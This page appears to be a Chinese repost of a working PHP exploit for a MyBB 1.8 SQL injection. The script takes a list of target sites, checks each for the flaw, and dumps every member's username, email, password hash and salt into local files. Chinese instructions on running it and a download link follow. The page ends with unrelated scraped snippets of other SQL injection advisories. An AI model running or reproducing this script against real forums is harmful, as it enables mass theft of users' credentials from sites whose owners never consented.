MyBB 18 SQL Injection Vulnerability

<?php  error_reporting(0); ?>
<form method="post" action="">
Input a Url(for example:http://myskins.org/18/) : <br><textarea name="siteler" cols="35" rows="7"></textarea><br><br>
<input type="submit" value="Get it!">
</form>
<?php
ob_start();
set_time_limit(0);
if(!file_exists("dumpsss")) mkdir("dumpsss");
if(! $_POST[‘siteler‘]==""){

$siteler = explode("\n",$_POST[‘siteler‘]);
foreach($siteler as $sites){
$sites=trim($sites);
        if(checkVulnerable($sites)) {
            echo "[+] $sites Is Vulnerable!\n";
            Inject($sites);
        } else {
            echo "[-] Target Is Not Vulnerable\n";
        }
    }
} else {
}

function Inject($site) {
   $get_website = parse_url($site);
   $website = $get_website["host"];
    $html = HTTPPost("$site/member.php", "regcheck1=&regcheck2=true&username=makman&password=mukarram&password2=mukarram&[email protected]&[email protected]&referrername=&imagestring=F7yR4&imagehash=1c1d0e6eae9c113f4ff65339e4b3079c&answer=4&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1416039333&step=registration&action=do_register&regsubmit=Submit+Registration!&question_id=‘ or polygon((select*from(select*from(select count(*) from mybb_users LIMIT 0,1)f)x))-- -");
    preg_match(‘!select \‘(.*)\‘ AS!s‘, $html, $matches);
    $count = $matches[1];
    echo "[+] Count: $count\n";

    for($i = 0; $i <= $count; $i++) {
        if($count == 1) {
            $num = "0,1";
        } else {
            $num = "$i,1";
        }
        $html = HTTPPost("$site/member.php", "regcheck1=&regcheck2=true&username=makman&password=mukarram&password2=mukarram&[email protected]&[email protected]&referrername=&imagestring=F7yR4&imagehash=1c1d0e6eae9c113f4ff65339e4b3079c&answer=4&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1416039333&step=registration&action=do_register&regsubmit=Submit+Registration!&question_id=‘ or polygon((select*from(select*from(select concat(username,0x3a,email,0x3a,password,0x3a,salt) from mybb_users LIMIT $num)f)x))-- -");
        preg_match(‘!select \‘(.*)\‘ AS!s‘, $html, $matches);
        if(isset($matches[1])) {
            $split = explode(":", $matches[1]);
            $username = $split[0];
            $email = $split[1];
            $password = $split[2];
            $salt = $split[3];
            echo "Username: $username\nEmail: $email\nPassword: $password\nSalt: $salt\n------\n";
            file_put_contents("dumpsss/$website.txt", "Username: $username\nEmail: $email\nPassword: $password\nSalt: $salt\n------\n", FILE_APPEND);
        }
    }
}

function checkVulnerable($site) {
    $ch = curl_init();
    $html = HTTPPost("$site/member.php", "regcheck1=&regcheck2=true&username=makman&password=mukarram&password2=mukarram&[email protected]&[email protected]&referrername=&imagestring=F7yR4&imagehash=1c1d0e6eae9c113f4ff65339e4b3079c&answer=4&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1416039333&step=registration&action=do_register&regsubmit=Submit+Registration!&question_id=‘");
    if(strpos($html, "You have an error in your SQL syntax")!==false) {
        return true;
    } else {
        return false;
    }
}

function HTTPPost($site, $post) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$site/member.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
    $html = curl_exec($ch);
    curl_close($ch);
    return $html;
}
?>

另存为xxx.php 文件,然后在网页上执行,会在当前目录下生成dumpsss文件夹,如果存在漏洞,则会将网站会员导出到里面txt文件。

如果不存在漏洞,则会提示:[-] Target Is Not Vulnerable

代码在线查看\下载地址:https://ghostbin.com/paste/zs2mp

时间: 2024-12-15 01:33:55

MyBB 18 SQL Injection Vulnerability的相关文章

Cacti /graphs_new.php SQL Injection Vulnerability

catalogue 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 other SQL injection vulnerability via graphs_new.php in cacti was found, reported to the bug http://bugs.cacti.net/view.php?id=2652 Relevant Link: http://bobao.360.cn/snapshot/in

DRUPAL-PSA-CORE-2014-005 &amp;&amp; CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis

目录 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Use Drupal to build everything from personal blogs to enterprise applications. Thousands of add-on modules and designs let you build any site you can imagine. Join us!Drupal是使用PHP语言编写的开

Zabbix 3.0.3 SQL Injection

Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability. ========================================== Title: Zabbix 3.0.3 SQL Injection Vulnerability Product: Zabbix Vulnerable Version(s): 2.2.x, 3.0.x Fixed Version: 3.0.4 Homepage: http

SQL injection

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).[1] SQL injection must exploit

CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

目录 1. 漏洞的起因 2. 漏洞原理分析 3. 漏洞的影响范围 4. 漏洞的POC.测试方法 5. 漏洞的修复Patch 1. 漏洞的起因 这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令 http://ss64.com/bash/env.html env: Display, set, or remove environment variables, Run a command in a modified environment. Syntax env [OPT

SQL Injection 字典 - MSSQL

MSSQL Default Databases pubs Not available on MSSQL 2005 model Available in all versions msdb Available in all versions tempdb Available in all versions northwind Available in all versions information_schema Availalble from MSSQL 2000 and higher Comm

ref:Manual SQL injection discovery tips

ref:https://gerbenjavado.com/manual-sql-injection-discovery-tips/ Manual SQL injection discovery tips August 26, 2017 According to bugbountyforum.com's AMA format one of the most popular questions is How do you test for Server Side vulnerabilities su

使用sqlmap注入DVWA的SQL Injection菜单

1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用admin/password登陆系统,通过firebug工具获取cookie信息. 得到的cookie信息如下: security=low; path=/dvwa/; domain=192.168.0.112 PHPSESSID=0bec860709d15f590768b7713c69b52f; pa

Sql Injection 资料整理

注入类型 Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入) UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Time-based blind SQL injection(基于时间延迟注入) 数据库类型 -A:Access - M:MySQL- S:SQL Server- P:PostgreSQL-